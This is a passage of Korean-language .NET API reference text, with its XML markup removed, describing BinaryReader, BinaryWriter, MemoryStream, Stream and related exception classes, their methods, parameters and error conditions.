버퍼입니다. + 버퍼로 읽어오기를 시작할 버퍼의 시작 위치입니다. + 읽을 바이트 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 또는읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 문자 배열의 지정된 지점부터 스트림에서 지정된 문자 수만큼 읽습니다. + 버퍼로 읽어온 총 문자 수입니다.이 문자 수는 문자가 현재 충분하지 않은 경우 요청된 문자 수보다 작을 수 있으며 스트림의 끝에 도달하면 0이 됩니다. + 데이터를 읽어올 버퍼입니다. + 버퍼로 읽어오기를 시작할 버퍼의 시작 위치입니다. + 읽을 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 또는읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 압축 형식의 32비트 정수를 읽습니다. + 압축 형식의 32비트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 스트림이 손상되었습니다. + + + 현재 스트림에서 Boolean 값을 읽고 스트림의 현재 위치를 1바이트 앞으로 이동합니다. + 바이트가 0이 아니면 true이고 0이면 false입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 다음 바이트를 읽고 스트림의 현재 위치를 1바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 다음 바이트입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 지정된 바이트 수만큼 바이트 배열로 읽어 오고 현재 위치를 해당 바이트 수만큼 앞으로 이동합니다. + 내부 스트림에서 읽은 데이터를 포함하는 바이트 배열입니다.이 바이트 배열은 스트림의 끝에 도달할 경우 요청된 바이트 수보다 작을 수 있습니다. + 읽을 바이트 수입니다.이 값은 0 또는 음수가 아닌 숫자여야 합니다. 그렇지 않으면 예외가 발생합니다. + 읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + + 가 음수인 경우 + 2 + + + 현재 스트림에서 다음 문자를 읽고 사용된 Encoding과 스트림에서 읽어오는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 현재 스트림에서 읽은 문자입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 서로게이트 문자를 읽은 경우 + 2 + + + 현재 스트림에서 지정된 문자 수만큼 읽어 문자 배열로 데이터를 반환하고, 사용된 Encoding과 스트림에서 읽어 오는 특정 문자의 길이만큼 현재 위치를 앞으로 이동합니다. + 내부 스트림에서 읽은 데이터를 포함하는 문자 배열입니다.이 문자 배열은 스트림의 끝에 도달할 경우 요청된 문자 수보다 작을 수 있습니다. + 읽을 문자 수입니다. + 읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + + 가 음수인 경우 + 2 + + + 현재 스트림에서 10진 값을 읽고 스트림의 현재 위치를 16바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 10진 값입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 8바이트 부동 소수점 값을 읽고 스트림의 현재 위치를 8바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 8바이트 부동 소수점 값입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 2바이트 정수를 읽고 스트림의 현재 위치를 2바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 2바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 4바이트 정수를 읽고 스트림의 현재 위치를 4바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 4바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 8바이트 정수를 읽고 스트림의 현재 위치를 8바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 8바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 바이트를 읽고 스트림의 현재 위치를 1바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 바이트입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 4바이트 부동 소수점 값을 읽고 스트림의 현재 위치를 4바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 4바이트 부동 소수점 값입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 문자열을 읽습니다.한 번에 7비트 정수로 인코드된 길이는 해당 문자열의 접두사로 붙습니다. + 읽어 오는 문자열입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + little-endian 인코딩을 사용하여 현재 스트림에서 부호 없는 2바이트 정수를 읽고 스트림의 위치를 2바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 없는 2바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 없는 4바이트 정수를 읽고 스트림의 위치를 4바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 없는 4바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 없는 8바이트 정수를 읽고 스트림의 위치를 8바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 없는 8바이트 정수입니다. + 스트림의 끝에 도달한 경우 + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 2 + + + 기본 이진 형식을 스트림에 쓰고 특정 인코딩으로 된 문자열 쓰기를 지원합니다. + 2 + + + 스트림에 쓰는 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 스트림을 기반으로 UTF-8 인코딩을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 출력 스트림입니다. + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + + 가 null입니다. + + + 지정된 스트림과 문자 인코딩을 기반으로 클래스의 새 인스턴스를 초기화합니다. + 출력 스트림입니다. + 사용할 문자 인코딩입니다. + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + + 또는 이 null인 경우 + + + 지정된 스트림과 문자 인코딩을 기반으로 클래스의 새 인스턴스를 초기화하며, 선택적으로 스트림을 연 상태로 둘 수 있습니다. + 출력 스트림입니다. + 사용할 문자 인코딩입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + + 또는 이 null인 경우 + + + + 의 내부 스트림을 가져옵니다. + BinaryWriter와 관련된 내부 스트림입니다. + 1 + + + + 클래스의 현재 인스턴스에서 사용하는 모든 리소스를 해제합니다. + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 현재 작성기에 대한 모든 버퍼를 지우면 버퍼링된 모든 데이터가 내부 장치에 쓰여집니다. + 1 + + + 백업 저장소가 없는 를 지정합니다. + 1 + + + 내부 스트림을 보유합니다. + + + 현재 스트림 내에서 위치를 설정합니다. + 현재 스트림에서의 위치입니다. + + 에 상대적인 바이트 오프셋입니다. + 새 위치를 가져올 참조 위치를 나타내는 의 필드입니다. + 파일 포인터가 잘못된 위치로 이동한 경우 + + 값이 잘못된 경우 + 1 + + + false를 나타내는 0과 true를 나타내는 1을 사용하여 1바이트 Boolean 값을 현재 스트림에 씁니다. + 쓸 Boolean 값(0 또는 1)입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 부호 없는 바이트를 현재 스트림에 쓰고 스트림 위치를 1바이트씩 앞으로 이동합니다. + 쓸 부호 없는 바이트입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 내부 스트림에 바이트 배열을 씁니다. + 쓸 데이터를 포함하는 바이트 배열입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + + 가 null입니다. + 1 + + + 현재 스트림에 바이트 배열 영역을 씁니다. + 쓸 데이터를 포함하는 바이트 배열입니다. + 쓰기를 시작할 의 시작점입니다. + 쓸 바이트 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 가 null입니다. + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 유니코드 문자를 현재 스트림에 쓴 다음 사용된 Encoding과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓰려고 하는 서로게이트가 아닌 유니코드 문자입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + + 가 단일 서로게이트 문자인 경우 + 1 + + + 문자 배열을 현재 스트림에 쓴 다음 사용된 Encoding과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓸 데이터를 포함하는 문자 배열입니다. + + 가 null입니다. + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자 배열 섹션을 현재 스트림에 쓴 다음 사용된 Encoding과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓸 데이터를 포함하는 문자 배열입니다. + 쓰기를 시작할 의 시작점입니다. + 쓸 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 가 null입니다. + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 10진 값을 현재 스트림에 쓰고 스트림 위치를 16바이트씩 앞으로 이동합니다. + 출력할 10진수 값입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 8바이트 부동 소수점 값을 현재 스트림에 쓰고 스트림 위치를 8바이트씩 앞으로 이동합니다. + 쓸 8바이트 부동 소수점 값입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 2바이트 부호 있는 정수를 현재 스트림에 쓰고 스트림 위치를 2바이트씩 앞으로 이동합니다. + 쓸 2바이트 부호 있는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 4바이트 부호 있는 정수를 현재 스트림에 쓰고 스트림 위치를 4바이트씩 앞으로 이동합니다. + 쓸 4바이트 부호 있는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 8바이트 부호 있는 정수를 현재 스트림에 쓰고 스트림 위치를 8바이트씩 앞으로 이동합니다. + 쓸 8바이트 부호 있는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 부호 있는 바이트를 현재 스트림에 쓰고 스트림 위치를 1바이트씩 앞으로 이동합니다. + 쓸 부호 있는 바이트입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 4바이트 부동 소수점 값을 현재 스트림에 쓰고 스트림 위치를 4바이트씩 앞으로 이동합니다. + 쓸 4바이트 부동 소수점 값입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + + 의 현재 인코딩으로 된 이 스트림에 문자열의 길이가 맨 앞에 나오는 문자열을 쓴 다음 사용된 인코딩과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓸 값입니다. + I/O 오류가 발생하는 경우 + + 가 null입니다. + 스트림이 닫혀 있는 경우 + 1 + + + 2바이트 부호 없는 정수를 현재 스트림에 쓰고 스트림 위치를 2바이트씩 앞으로 이동합니다. + 쓸 2바이트 부호 없는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 4바이트 부호 없는 정수를 현재 스트림에 쓰고 스트림 위치를 4바이트씩 앞으로 이동합니다. + 쓸 4바이트 부호 없는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 8바이트 부호 없는 정수를 현재 스트림에 쓰고 스트림 위치를 8바이트씩 앞으로 이동합니다. + 쓸 8바이트 부호 없는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 압축 형식의 32비트 정수를 씁니다. + 쓸 32비트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + 스트림이 닫혀 있는 경우 + + + 읽을 때 throw되는 예외가 스트림의 끝을 지나 시도됩니다. + 2 + + + 시스템에서 제공되는 메시지로 설정된 메시지 문자열과 COR_E_ENDOFSTREAM으로 설정된 HRESULT를 사용하여 클래스의 새 인스턴스를 초기화합니다. + + + + 로 설정된 메시지 문자열과 COR_E_ENDOFSTREAM으로 설정된 HRESULT를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 오류를 설명하는 문자열입니다. 내용은 사용자의 이해를 돕기 위한 것입니다.이 생성자의 호출자는 이 문자열이 현재 시스템 문화권에 맞게 지역화되었는지 확인하는 데 필요합니다. + + + 지정된 오류 메시지와 해당 예외의 근본 원인인 내부 예외에 대한 참조를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 오류를 설명하는 문자열입니다. 내용은 사용자의 이해를 돕기 위한 것입니다.이 생성자의 호출자는 이 문자열이 현재 시스템 문화권에 맞게 지역화되었는지 확인하는 데 필요합니다. + 현재 예외의 원인이 되는 예외입니다. 매개 변수가 null이 아니면 현재 예외는 내부 예외를 처리하는 catch 블록에서 발생합니다. + + + 데이터 스트림의 형식이 잘못된 경우 throw되는 예외입니다. + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 오류 메시지를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 예외에 대한 이유를 설명하는 오류 메시지입니다. + + + 이 예외의 원인인 내부 예외에 대한 참조를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 예외에 대한 이유를 설명하는 오류 메시지입니다. + 현재 예외의 원인이 되는 예외입니다. 매개 변수가 null이 아니면 현재 예외는 내부 예외를 처리하는 catch 블록에서 발생합니다. + + + 백업 저장소가 메모리인 스트림을 만듭니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 Reference Source. + 2 + + + 0으로 초기화된 확장 가능한 용량을 사용하여 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 바이트 배열을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 현재 스트림을 만들 부호 없는 바이트의 배열입니다. + + 가 null인 경우 + + + 지정된 대로 설정된 속성을 사용하여 지정된 바이트 배열을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 쓰기를 지원하는지 여부를 결정하는 속성의 설정입니다. + + 가 null인 경우 + + + 바이트 배열의 지정된 영역(인덱스)을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 시작될 의 인덱스입니다. + 스트림의 길이(바이트)입니다. + + 가 null인 경우 + + 또는 가 0보다 작은 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + + 지정된 대로 설정된 속성을 사용하여 지정된 바이트 배열의 영역을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 시작될 의 인덱스입니다. + 스트림의 길이(바이트)입니다. + 스트림이 쓰기를 지원하는지 여부를 결정하는 속성의 설정입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + + 지정된 대로 설정된 속성과 지정된 대로 설정된 호출 기능을 사용하여 지정된 바이트 배열의 영역을 기반으로 하는 클래스의 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 시작될 의 인덱스입니다. + 스트림의 길이(바이트)입니다. + 스트림이 쓰기를 지원하는지 여부를 결정하는 속성의 설정입니다. + 스트림을 만든 부호 없는 바이트 배열을 반환하는 를 사용하도록 설정하려면 true이고, 설정하지 않으려면 false입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + + 지정된 대로 초기화된 확장 가능한 용량을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 내부 배열의 초기 크기(바이트)입니다. + + 가 음수인 경우 + + + 현재 스트림이 읽기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 열려 있으면 true입니다. + 2 + + + 현재 스트림이 검색을 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 열려 있으면 true입니다. + 2 + + + 현재 스트림이 쓰기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 쓰기를 지원하면 true이고, 지원하지 않으면 false입니다. + 2 + + + 이 스트림에 할당된 바이트 수를 가져오거나 설정합니다. + 버퍼에서 스트림에 대해 사용할 수 있는 부분의 길이입니다. + 음수 또는 스트림의 현재 길이보다 작은 용량이 설정되어 있는 경우 + 현재 스트림이 닫혀 있는 경우 + 용량을 수정할 수 없는 스트림에 set이 호출되는 경우 + 2 + + + 현재 스트림에서 모든 바이트를 비동기적으로 읽어 지정된 버퍼 크기 및 취소 토큰을 사용하여 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기(바이트)입니다.이 값은 0보다 커야 합니다. + 취소 요청을 모니터링할 토큰입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + + 클래스에 사용되는 관리되지 않는 리소스를 해제하고, 필요에 따라 관리되는 리소스를 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + + 메서드를 재정의하여 아무런 작업도 수행되지 않도록 합니다. + 2 + + + 이 스트림에 대한 모든 버퍼를 비동기적으로 지우고 취소 요청을 모니터링합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 취소 요청을 모니터링할 토큰입니다. + 스트림이 삭제된 경우 + + + 스트림의 길이(바이트)를 가져옵니다. + 스트림의 길이(바이트)입니다. + 스트림이 닫혀 있는 경우 + 2 + + + 스트림 내의 현재 위치를 가져오거나 설정합니다. + 스트림 내의 현재 위치입니다. + 위치가 음수 값이나 보다 큰 값으로 설정된 경우 + 스트림이 닫혀 있는 경우 + 2 + + + 현재 스트림에서 바이트 블록을 읽어서 버퍼에 씁니다. + 버퍼로 쓴 총 바이트 수입니다.해당 바이트 수를 현재 사용할 수 없는 경우 이 수는 요청된 바이트 수보다 작을 수 있으며 바이트를 읽기 전에 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 바이트 배열의 값이 및 ( + - 1) 사이에서 현재 스트림으로부터 읽은 문자로 교체된 상태로 반환됩니다. + 현재 스트림에서 데이터를 저장하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 읽을 최대 바이트 수입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 버퍼 길이에서 을 빼면 보다 작은 경우 + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 현재 스트림에서 바이트의 시퀀스를 비동기적으로 읽고 읽은 바이트 수만큼 스트림 내에서 앞으로 이동하며 취소 요청을 모니터링합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 데이터를 쓸 버퍼입니다. + 스트림의 데이터를 쓰기 시작할 의 바이트 오프셋입니다. + 읽을 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 현재 스트림을 사용하고 있습니다. + + + 현재 스트림에서 바이트를 읽습니다. + + 로 캐스팅된 바이트이거나 스트림의 끝에 도달한 경우 -1입니다. + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 현재 스트림 내의 위치를 지정된 값으로 설정합니다. + 초기 참조 지점과 오프셋을 조합해서 계산한, 스트림 내의 새 위치입니다. + 스트림 내의 새 위치입니다.이 위치는 매개 변수와 관련되며 양수와 음수 모두 가능합니다. + 검색 참조 지점 역할을 하는 형식의 값입니다. + 스트림의 시작 전에 검색하려고 한 경우 + + 가 보다 큰 경우 + 잘못된 이 있는 경우 또는이 산술 연산 오버플로를 발생시킨 경우 + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 현재 스트림의 길이를 지정된 값으로 설정합니다. + 길이를 설정할 값입니다. + 현재 스트림의 크기를 조정할 수 없으며 가 현재 용량보다 큰 경우또는 현재 스트림이 쓰기를 지원하지 않는 경우 + + 가 음수이거나 의 최대 길이보다 큰 경우. 여기서 최대 길이는 - origin입니다. origin은 스트림이 시작되는 내부 버퍼의 인덱스입니다. + 2 + + + + 속성에 관계없이 바이트 배열에 스트림 내용을 씁니다. + 새 바이트 배열입니다. + 2 + + + 이 스트림을 만드는 데 사용된 부호 없는 바이트의 배열을 반환합니다.반환 값은 변환의 성공 여부를 나타냅니다. + 성공적으로 변환되면 true이고, 그렇지 않으면 false입니다. + 이 스트림을 만든 바이트 배열 세그먼트입니다. + + + 버퍼에서 읽은 데이터를 사용하여 현재 스트림에 바이트 블록을 씁니다. + 데이터를 쓸 버퍼입니다. + 현재 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + + 가 null인 경우 + 스트림이 쓰기를 지원하지 않습니다.자세한 내용은 를 참조하십시오.또는 현재 위치가 스트림의 끝에서 바이트보다 가까우며 용량을 수정할 수 없는 경우 + 버퍼 길이에서 을 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 바이트의 시퀀스를 현재 스트림에 비동기적으로 쓰고 쓰여진 바이트 수만큼 이 스트림 내의 현재 위치를 앞으로 이동한 후 취소 요청을 모니터링합니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 데이터를 쓸 버퍼입니다. + 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 쓰기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 쓰기 작업에서 현재 스트림을 사용하고 있습니다. + + + 현재 위치에서 현재 스트림에 바이트를 씁니다. + 쓸 바이트입니다. + 스트림이 쓰기를 지원하지 않습니다.자세한 내용은 를 참조하십시오.또는 현재 위치가 스트림의 끝에 있으며 용량을 수정할 수 없는 경우 + 현재 스트림이 닫혀 있는 경우 + 2 + + + 다른 스트림에 이 메모리 스트림의 전체 내용을 씁니다. + 이 메모리 스트림을 쓸 스트림입니다. + + 가 null인 경우 + 현재 스트림이나 대상 스트림이 닫혀 있는 경우 + 2 + + + 탐색에 사용할 스트림 내 위치를 지정합니다. + 2 + + + 스트림의 맨 앞을 지정합니다. + + + 스트림 내의 현재 위치를 지정합니다. + + + 스트림의 맨 끝을 지정합니다. + + + 바이트 시퀀스에 대한 일반 뷰를 제공합니다.이 클래스는 추상 클래스입니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 Reference Source. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 파생 클래스에서 재정의되면 현재 스트림이 읽기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 읽기를 지원하면 true이고, 지원하지 않으면 false입니다. + 1 + + + 파생 클래스에서 재정의되면 현재 스트림이 검색을 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 검색을 지원하면 true이고, 지원하지 않으면 false입니다. + 1 + + + 현재 스트림이 시간 초과될 수 있는지를 결정하는 값을 가져옵니다. + 현재 스트림이 시간 초과될 수 있는지를 결정하는 값입니다. + 2 + + + 파생 클래스에서 재정의되면 현재 스트림이 쓰기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 쓰기를 지원하면 true이고, 지원하지 않으면 false입니다. + 1 + + + 현재 스트림에서 바이트를 읽어서 다른 스트림에 해당 바이트를 씁니다. + 현재 스트림의 내용을 복사할 스트림입니다. + + 가 null인 경우 + 현재 스트림이 읽기를 지원하지 않는 경우또는이 쓰기를 지원하지 않는 경우 + + 메서드가 호출되기 전에 현재 스트림 또는 이 닫힌 경우 + I/O 오류가 발생하는 경우 + + + 현재 스트림에서 바이트를 읽어서 지정된 버퍼 크기로 다른 스트림에 씁니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기입니다.이 값은 0보다 커야 합니다.기본 크기는 81920입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이 읽기를 지원하지 않는 경우또는이 쓰기를 지원하지 않는 경우 + + 메서드가 호출되기 전에 현재 스트림 또는 이 닫힌 경우 + I/O 오류가 발생하는 경우 + + + 현재 스트림에서 모든 바이트를 비동기적으로 읽어 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + + 가 null인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + 현재 스트림에서 바이트를 비동기적으로 읽어 지정된 버퍼 크기로 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기(바이트)입니다.이 값은 0보다 커야 합니다.기본 크기는 81920입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + 현재 스트림에서 바이트를 비동기적으로 읽어 지정된 버퍼 크기 및 취소 토큰을 사용하여 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기(바이트)입니다.이 값은 0보다 커야 합니다.기본 크기는 81920입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + + 에서 사용하는 모든 리소스를 해제합니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 파생 클래스에서 재정의되면 이 스트림에 대해 모든 버퍼를 지우고 버퍼링된 데이터가 내부 장치에 쓰여지도록 합니다. + I/O 오류가 발생하는 경우 + 2 + + + 이 스트림에 대한 모든 버퍼를 비동기적으로 지우고 버퍼링된 모든 데이터가 내부 장치에 비동기적으로 쓰여지도록 합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 스트림이 삭제된 경우 + + + 이 스트림에 대해 모든 버퍼를 비동기적으로 지우고 버퍼링된 데이터가 내부 장치에 쓰여지도록 하고 취소 요청을 모니터링합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + 스트림이 삭제된 경우 + + + 파생 클래스에서 재정의되면 스트림 바이트의 길이를 가져옵니다. + 스트림 길이(바이트)를 나타내는 long 값입니다. + Stream에서 파생된 클래스가 검색을 지원하지 않는 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 